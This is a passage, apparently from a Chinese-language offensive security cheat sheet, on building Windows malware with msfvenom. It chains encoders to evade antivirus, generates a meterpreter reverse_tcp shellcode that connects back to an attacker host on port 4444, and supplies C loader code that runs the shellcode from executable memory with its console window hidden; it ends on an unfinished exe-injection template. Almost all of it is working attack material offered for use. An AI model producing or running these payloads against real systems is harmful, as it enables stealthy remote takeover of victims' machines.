msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \

msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe

(7)编译生成的C文件

#win x86生成c文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=[AttackerIP] lport=4444 -f c -e x86/shikata_ga_nai -i 12 -b '\x00'

#vc++6.0 编译(含buf数组的)C代码:

#include

#pragmacomment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口

unsignedchar buf[] =

"buf数组";//复制数组内容粘贴到此处

main()

{

((void(*)(void))&buf)();

}

 

#VS 编译:

main()

 

{

    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 

    memcpy(Memory, buf, sizeof(buf));

 

((void(*)())Memory)();

 

}

7.注入exe型+编码

msfvenom -p   -a  --plateform  -e  -i  -x